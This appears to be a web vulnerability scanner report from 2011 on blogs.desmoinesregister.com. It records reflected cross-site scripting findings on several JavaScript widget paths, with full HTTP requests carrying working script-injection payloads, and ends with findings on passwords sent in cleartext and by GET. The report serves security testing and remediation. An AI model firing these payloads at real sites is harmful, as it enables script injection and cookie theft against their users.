GET /odygel/lib/widgets/modal/modal.jscfe39"><script>alert(1)</script>09dc2bac57f HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70178
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/modal/modal.jscfe39"><script>alert(1)</script>09dc2bac57f" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d97b"%3balert(1)//77842b225b7 was submitted in the REST URL parameter 5. This input was echoed as 7d97b";alert(1)//77842b225b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/modal/modal.js7d97b"%3balert(1)//77842b225b7 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70102
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e00e"><script>alert(1)</script>3392ec1730b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/navigation/navController.js8e00e"><script>alert(1)</script>3392ec1730b HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70230
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/navigation/navController.js8e00e"><script>alert(1)</script>3392ec1730b" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74bbf"%3balert(1)//60a8e255e33 was submitted in the REST URL parameter 5. This input was echoed as 74bbf";alert(1)//60a8e255e33 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/navigation/navController.js74bbf"%3balert(1)//60a8e255e33 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70154
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cfff4"%3balert(1)//e5f580efdc7 was submitted in the REST URL parameter 5. This input was echoed as cfff4";alert(1)//e5f580efdc7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/tabs/geltabs.jscfff4"%3balert(1)//e5f580efdc7 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70106
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8818"><script>alert(1)</script>7d06c8df81d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/tabs/geltabs.jse8818"><script>alert(1)</script>7d06c8df81d HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:06 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70182
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/tabs/geltabs.jse8818"><script>alert(1)</script>7d06c8df81d" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74e95"><script>alert(1)</script>7f58abf7c9e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/time/time.js74e95"><script>alert(1)</script>7f58abf7c9e HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70170
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/time/time.js74e95"><script>alert(1)</script>7f58abf7c9e" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d067"%3balert(1)//c4ba1445def was submitted in the REST URL parameter 5. This input was echoed as 4d067";alert(1)//c4ba1445def in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/time/time.js4d067"%3balert(1)//c4ba1445def HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70094
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb65e"%3balert(1)//ce415a006c1 was submitted in the REST URL parameter 4. This input was echoed as cb65e";alert(1)//ce415a006c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/widget.jscb65e"%3balert(1)//ce415a006c1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70721
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff8c1"><script>alert(1)</script>59be6490199 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/widget.jsff8c1"><script>alert(1)</script>59be6490199 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70797
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/widget.jsff8c1"><script>alert(1)</script>59be6490199" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb8a8"><script>alert(1)</script>741439f19c0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/zagmodal/zagmodal.jsbb8a8"><script>alert(1)</script>741439f19c0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:21 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70202
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/zagmodal/zagmodal.jsbb8a8"><script>alert(1)</script>741439f19c0" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7371"%3balert(1)//8f182f35ba9 was submitted in the REST URL parameter 5. This input was echoed as d7371";alert(1)//8f182f35ba9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/zagmodal/zagmodal.jsd7371"%3balert(1)//8f182f35ba9 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:24 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70126
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]...
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
